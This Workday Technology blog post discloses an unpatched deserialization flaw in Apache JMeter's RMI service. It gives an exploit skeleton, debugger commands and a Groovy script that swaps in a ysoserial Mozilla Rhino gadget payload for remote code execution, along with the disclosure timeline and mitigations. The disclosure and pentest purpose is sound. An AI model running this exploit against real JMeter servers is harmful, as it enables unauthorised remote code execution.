Exploiting JMeter via RMI

Published in

Workday Technology

14 min readJul 10, 2023

This is the story of a trivial deserialization exploit in Apache JMeter via Remote Method Invocation (RMI). It still exists, it won’t be fixed, we are likely not the first to find it. Apache has labeled this as a no fix — possibly correctly.

While Apache has declined to address this issue for reasons we will talk about later, if you use JMeter at your company, I’d encourage you to read on to ensure that you’re aware of the associated risks. From the attacker side, if you work as a pentester, I’d encourage you to read on to learn how to apply these techniques and attacks in your own environment (or jump here for a TLDR).

The following sections detail the discovery of this finding–and how to discover similar exploits–, writing an exploit for JMeter from scratch, and how to apply this to nearly any RMI service. We’ll cover a few optimizations to make your RMI exploits more practical, and — most importantly — how to pop any JMeter instances you may encounter during your own pentests.

Background on JMeter

Before detailing the exploit, it is important to know what JMeter is, what RMI is, and a few core weaknesses in these. If you’re already familiar with RMI, feel free to skip to the exploitation sections.

Apache JMeter (https://jmeter.apache.org/) is best described in their own words as:

a 100% pure Java application designed to load test functional behavior and measure performance

In practical terms, this amounts to being able to write jobs for servers, those servers run the jobs, and then report back. RMI is used to control the server from a client, but a GUI is provided to make interactions easier.

JMeter is very popular for performance testing, and a cursory search on Shodan shows that there are about 400 instances of JMeter publicly accessible. With more searching (such as checking for RMI, non standard ports, etc), one would likely find more instances exposed.

Background on RMI

The Java Remote Method Invocation (RMI) protocol is a tool provided by Java for calling methods on a remote server. At its core, the server exposes methods on a service, and then a client can call those methods remotely.

In order to call remote methods, the client has to know what the method signature is for the method it wants to call (the name and parameters of the available methods). While it’s not exactly a one to one comparison, it is fair to think of Java’s RMI in a similar fashion to a Rest API; endpoints (methods) are exposed, calling those methods triggers some action on the server, and you usually need to know what an endpoint is called and what parameters it takes before you can invoke it.

Having a Java RMI service is not a security issue in itself, as it’s just a way to call a remote method. However, in our experience, RMI is not well known to pentesters, leaves security to the developer, is rarely encrypted, provides no native authentication, is nearly impossible to obfuscate (reverse engineering is trivial), and relies on serialization and deserialization of objects.

Below is an example of what a simple RMI interface and a corresponding implementation might look like in code. Oracle provides a good example as well here, and most of the below code is cannibalized from there. For a simple RMI use case, you need an interface, an implementation, and (arguably) a client.

Example Interface

This is an example interface. To be useful, both a client and server will have a copy of this code. The server has it to know what methods to expose, the client has it to know what methods to call.

In this case, a server will expose two methods, one takes no parameters, and one takes two — a String and a HashMap object. At this point, you may be wondering if these signatures can be brute forced by a malicious client. They can, but there is usually an easier way (decompiling).

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.HashMap;

public interface ExampleRMIInterface extends Remote {
 String someRemoteMethod() throws RemoteException;
 String someOtherRemoteMethod(String someStringParameter, HashMap someHashMapParameter) throws RemoteException;
}

Implementation

The below is the actual implementation of the methods. The important takeaways here are

1. The implementation is only needed by the server.

2. The below implementation is vulnerable to a deserialization attack in the someOtherRemoteMethod, even though the HashMap object is never used.

import interfaces.ExampleRMIInterface;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;

public class ExampleRMIImplementation extends UnicastRemoteObject implements ExampleRMIInterface {

    public ExampleRMIImplementation() throws RemoteException {
    }

    @Override
    public String someRemoteMethod() throws RemoteException {
        return "Hello, the method without parameters was called";
    }

    //It doesn't matter that the HashMap is never used. If a malicious HashMap is passed in, it will still trigger
    @Override
    public String someOtherRemoteMethod(String someStringParamenter, HashMap someHashMapParameter) throws RemoteException {
        return "Hello, the method with parameters was called";
    }
}

Then, to register your implementation on the RMI registry and make it so that it can be called by a client, you can use code like the following:

import implementation.ExampleRMIImplementation;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {

    //This is just here to keep the class from being garbage collected
    public static void main(String[] args) {

        try {
            ExampleRMIImplementation implementation = new ExampleRMIImplementation();

            //Note there are many ways to bind an object to an RMI registry. This is how JMeter does it
            Registry reg = LocateRegistry.createRegistry(1099);
            reg.rebind("Name of remote object to show", implementation);

            System.err.println("Server ready");

            Thread.currentThread().join(); //Keep it alive forever for simplicity
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

What this looks like from the network

At this point, you now have a registry running with your remote object available and listed. This is what the above code looks like from an nmap scan

nmap 192.168.1.9 -p 1099 -Pn -n -A
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 09:54 PDT
Nmap scan report for 192.168.1.9
Host is up (0.0019s latency).

PORT     STATE SERVICE  VERSION
1099/tcp open  java-rmi Java RMI
| rmi-dumpregistry: 
|   Name of remote object to show
|      implements java.rmi.Remote, interfaces.ExampleRMIInterface, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @192.168.1.9:53589
|             extends
|_              java.rmi.server.RemoteObject

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds

Client code

To exploit this, you do not need to know anything about the client, but for completion’s sake, here’s what a client would look like for the above server

import interfaces.ExampleRMIInterface;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {

    public static void main(String[] args) {

        String host = "192.168.1.20";
        try {
            Registry registry = LocateRegistry.getRegistry(host, 1099);

            System.out.println("Got the registry");
            ExampleRMIInterface RMIObject = (ExampleRMIInterface) registry.lookup("Name of remote object to show");

            System.out.println(RMIObject.someRemoteMethod());
            System.out.println(RMIObject.someOtherRemoteMethod(null, null));
        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

Background on exploiting

Exploiting RMI is not new, and for more detailed information, I would recommend reading the work done by Hans-Martin Münch on the subject, or watching his Youtube video on RMI exploitation. He does an exceptional job describing attack vectors of RMI in a clear fashion. This blog post can provide a primer to exploiting RMI, but it expands on many of the techniques that Hans-Martin has created/described in depth. Now that the boilerplate is done, the fun part can begin — exploitation.

In general, there are two common ways to exploit an RMI service: attacking the application logic, and attacking it through deserialization.

Attacking the application logic

In terms of attacking application logic, RMI does not support authentication and it falls to developers to implement any form of authentication or authorization that they want for their applications. This can lead to the authentication of methods only being enforced by the application’s client.

An example of this is, an application may expose a login method, and an update method. The client calls the login method first, and then — upon successful authentication — allows for the user to call the update method. The problem arises because RMI itself does not enforce any restrictions, and if the developers have not implemented any restrictions themselves, it may be possible to invoke the update method directly without first successfully invoking the login method. In the testers experience, this is an extremely common pattern, and has led to a number of exploits.

In the case of JMeter, an attack on the application logic does exist because authentication on the RMI calls is simply not present. This means that it is likely that anyone can invoke the RMI methods to directly control the server — although this is not the approach we take in this blog, and we’ll discuss the serialization bug.

One last note on logic attacks via RMI — clients require a copy of the interface for a remote object, decompiling an RMI client can give you an (often obfuscated) list of available methods and their parameters. From here, invoking these methods can often give a free win.

Attacking the application serialization

It’s surprisingly easy to attack most RMI applications via serialization. If you’re unfamiliar with serialization, I’d recommend reading up on it here first. In short, objects can be sent over the wire in binary format and then reconstituted somewhere else. These objects can often be replaced with malicious ones for unexpected impact.

In Java, when deserializing a non-primitive type or a non-String type (basically any Object except String), Java will trigger the default ObjectInput.readObject() method to read in a serialized object. Where this becomes a problem is that even before the object has finished being read in, methods in the object will trigger as the object is being recreated. If you put together a number of these ‘magic methods’ that trigger before the object is done being read, you can get potent side-effects including remote code execution. These chains of magic methods are known as ‘gadget chains.’ Check out ysoserial for some good examples of these.

In plain Java, there are some native gadget chains, but it is rare for there to be one that leads to high impact (although there is a universal DNS outbound gadget chain that is useful for proof-of-concept). Most dangerous gadget chains are introduced through dependencies that add additional magic methods which can be abused. The most infamous of these comes with the Apache Commons library.

It’s worth noting that even if you don’t have a high impact gadget chain, an application can still be vulnerable to a deserialization attack and should be fixed. New gadget chains can also be added down the road with code or dependency changes.

RMI — Finding an exploit

As RMI uses serialization as its backbone, you don’t need much to find an exploitable target. You only need:

To find a method exposed via RMI that takes in an object parameter (as long as it’s not a String).
There is no second requirement. The first item is all you need.

If you can find a method that meets the criteria, and there is no serialization filter in place (spoiler alert: there probably isn’t), you’ve got a vulnerable application. To exploit it, you just need to be able to connect to the RMI instance, and find a meaningful gadget chain to give it impact.

It turns out that JMeter’s server exposes two such methods. The source code of their RMI interface is copied below for convenience from here.

package org.apache.jmeter.engine;

import java.io.File;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.HashMap;

import org.apache.jorphan.collections.HashTree;

/**
 * This is the interface for the RMI server engine, i.e. {@link RemoteJMeterEngineImpl}
 */
public interface RemoteJMeterEngine extends Remote {
    void rconfigure(HashTree testTree, String host, File jmxBase, String scriptName) throws RemoteException;

    void rrunTest() throws RemoteException, JMeterEngineException;

    void rstopTest(boolean now) throws RemoteException;

    void rreset() throws RemoteException;

    @SuppressWarnings("NonApiType")
    void rsetProperties(HashMap<String,String> p) throws RemoteException;

    void rexit() throws RemoteException;
}

In this case, the rconfigure method which takes in a HashTree object and File object, and the rsetProperties method which takes in a HashMap object are both vulnerable. The rstopTest method takes in a parameter, but it is not vulnerable as the parameter is a primitive, which Java deserializes in a safe manner. Recognizing that the application deserializes objects in an unsafe manner is useful, but often proving impact is helpful in demonstrating a risk. That brings us to searching for a gadget chain to exploit the serialization meaningfully.

Java gadget chains and finding the perfect one

As briefly noted above, gadget chains in Java are a series of methods that get triggered automatically when an object deserializes to have some desired effect. Java has at least one useful native gadget chain that lets you make outbound DNS connections. This lets you test an exploit before investing more time looking for advanced gadget chains. You can see this chain here.

While outbound DNS is good, RCE is better. If you have access to source code, the dependency file is usually a good place to check for known gadget chains. Failing that, finding a custom gadget chain is a manual process. There are tools that can help, such as Gadget Inspector. Running this tool against JMeter shows a gadget chain relying on Mozilla Rhino that looks very similar to one in ysoserial.

Upon investigation, this is close enough to the original gadget chain that it seems like a good lead, and a little searching turns up a prebuilt gadget chain for it in the Mozilla Rhino issue tracker. The issue is marked as “won’t fix’’ and comes complete with source code. I’ve used this gadget chain more than once, and as Mozilla Rhino is fairly common, it’s a good tool to have.

Putting it all together in JMeter

To put all this together in a meaningful exploit for JMeter, we need a few things lined up:

We need a copy of the RMI interface JMeter uses
JMeter needs to be using deserialization in an unsafe way
We need a gadget chain that we can leverage for meaningful exploitation

These things are alluded to in the above sections, but we want to summarize them again here, especially as these are quick and easy to find.

In terms of the interface, usually the go-to method of extracting an RMI interface is decompiling a jar, but as JMeter is open source, a quick search of the repo pointed us to the RemoteJMeterEngine class. Searching for keywords like RemoteException is a surprisingly high fidelity way to find these interfaces when you know RMI is in use.

We then confirmed JMeter is using unsafe deserialization in multiple places. You can see this by checking the interface and noting that it has methods which rely on serialization and take in non-primitive, non-string objects. In this case, the method rconfigure is an excellent candidate for exploitation as it looks to be unchanged through multiple versions of JMeter.

A meaningful gadget chain in this case may not be immediately obvious, but one can be found with little effort. As described above, we ran Gadget Inspector to discover a gadget chain in Mozilla Rhino.

To write the exploit, copy the interface from Apache JMeter into a new Java project, then go through and copy in any other code/dependencies you need until the interface doesn’t have errors. From here, you can also copy in the gadget chain listed above. Once you have the gadget chain and the RemoteJMeter engine interface on your classpath, you can then call remote JMeter methods on your victim.

A plain invocation (nothing malicious yet) would look like the below in your skeleton exploit so far:

public static void main(String[] args) throws Exception {
  RemoteJMeterEngine jms = (RemoteJMeterEngine) reg.lookup("JMeterEngine");
 
 
   //rsetProperties works, except the parameter changed in JMeter 5.1, so rconfigure is more stable
   HashTree testTree = new HashTree();
   jms.rconfigure(testTree, null, null, null);
 
  //Rest ommitted
}

Now, we want to replace the HashTree with a malicious object at runtime — specifically our evil gadget chain. For the lazy like me, the easiest way is to use a debugger. By doing so, you can essentially replace whatever object your target is asking for (such as a HashMap) with a malicious object after validation. In concept, this works similar to bypassing client-side validation using a proxy in web application testing.

This is not a new technique, and it is described in depth, with sample code here.

Once you have the basic code, you can run your exploit, connect a debugger to it, and replace the object on the fly. See the above article for more details, but the commands will look something like the below

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=127.0.0.1:8000 -jar JMeter_deserialization_poc.jar
java -jar youdebug.jar -socket 127.0.0.1:8000 ../../src/main/java/groovy/evil_script.groovy

If all goes well, your application will attempt to connect to the vulnerable registry, validate that it’s sending an object that matches the interface, then that object will be replaced by the debugger with a malicious one and passed on. As that object is being deserialized, it will trigger a series of method calls, resulting in RCE.

The ‘Austin’ Optimization

The above works, but if you’re using the youdebug script provided by Hans-Martin Münch, it will be slow when testing anywhere but a local network. This happens because it places a lot of breakpoints, and so it can be sped up significantly by limiting where breakpoints are placed.

A coworker came up with an elegant solution to this problem. The answer is to throw and catch a custom exception right before you make the RMI call. This allows you to hook the unique exception, setting only a single breakpoint immediately before the relevant method call. This speeds up execution significantly.

Here’s what it looks like in Java when we do this, as well as the corresponding changes in the debug script

Debug Script:

package groovy
// This uses the techinque and source code described here:
// https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/

//Special thanks to Austin Munsch for making this magnitudes faster for this use case

def payloadName = "MozillaRhino3";
def payloadCommand = "touch /tmp/singed4"
def needle = "HashTree"

println "Attempting to use payload: "+payloadName


vm.exceptionBreakpoint("ysoserial.payloads.TheAustin") {
    vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") {

        println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"

        // make sure that the payload class is loaded by the classloader of the debugee
        vm.loadClass("ysoserial.payloads." + payloadName);

        // get the Array of Objects that were passed as Arguments
        delegate."@2".eachWithIndex { arg, idx ->
            println "[+] Argument " + idx + ": " + arg[0].toString();

            if (arg[0].toString().contains(needle)) {
                println "[+] Needle " + needle + " found, replacing String with payload"

                def payload = vm._new("ysoserial.payloads." + payloadName);
                def payloadObject = payload.getObject(payloadCommand)

                vm.ref("java.lang.reflect.Array").set(delegate."@2", idx, payloadObject);
                println "[+] Done.."
            }
        }
    }
    println("secondary breakpoint set")
}
println "Breakpoints set"%

The Fine Print

This issue initially was reported to Apache on January 11, 2022. After following-up, Apache noted that the issue was rejected without comment. We requested further clarification, but did not hear back from Apache until we asked CERT/CC on April 25, 2022 to assist under a Coordinated Vulnerability Disclosure Process. Apache notified us on May 5, 2022 that it rejects the issue for several reasons.

By default, Apache JMeter supports mutual TLS for the RMI port. If an attacker cannot talk to the RMI port (no client cert), then this cannot be exploited. In our experience, most administrators cannot figure out how to get two way TLS working, and end up disabling it.

Second, JMeter has no authentication at all if mutual TLS is disabled — and anyone can use the standard client to achieve RCE which Apache considers intended behavior. While the architecture choices and deserialization are separate issues, the deserialization adds no additional impact and so is not a priority (at most, no logs are created when using the deserialization attack as opposed to the client to achieve RCE).

As a mitigation, JMeter’s website has suggested in the past adding a process-wide filter when running the application. This approach can work, but filters are sometimes ineffective or incomplete, and it puts security on the client; it is not often people add a serialization filter to a jar they download from the internet.

Other protection options include using a Java Agent to restrict objects that are deserialized (see notsoserial), overriding some of Java’s default methods as suggested by OWASP, or ensuring that your RMI methods only take in primitives or strings as parameters. However, all of these approaches present their own unique challenges.

If you use JMeter in your organization, be careful, ensure mutual TLS is enabled, and make sure that an IP allowlist is in place to restrict access to the RMI port. If you’re a pentester, keep an eye out for JMeter, and have fun.

Timeline

Jan 11, 2022: Reached out to Apache, received an acknowledgment they received the report back the same day.
Jan 25, 2022: Reached back out to the vendor to see if they needed any additional information or help replicating. Vendor replies that they rejected the issue.
Jan 25, 2022: Ask for more information, on why it was rejected, as I still feel it’s a valid issue
Feb 3, 2022: Reach out again, no response
April 25th, 2022: File a ticket with CERT for assistance contacting Apache
May 5th, 2022: Apache responds and explains reasoning behind rejection, ticket closed

TLDR:

Apache JMeter gives trivial RCE both as a service and by exploiting the RMI channel it uses for communications. Configuring JMeter with mutual TLS is Apache’s recommended solution to this issue, however it is not commonly implemented in practice, it can be hard to do well, and anything that bypasses it can still lead to RCE. Apache does not view this as an issue. There is no easy mitigation, patch or fix. If you’re using Apache JMeter, you should be aware of the potential risks.

Thanks

Thanks to Austin Munsch and Tyler Hawkins for code review, optimizations, and a better exploit. Thanks to Pulkit Sharma and Shahira Ali for content review.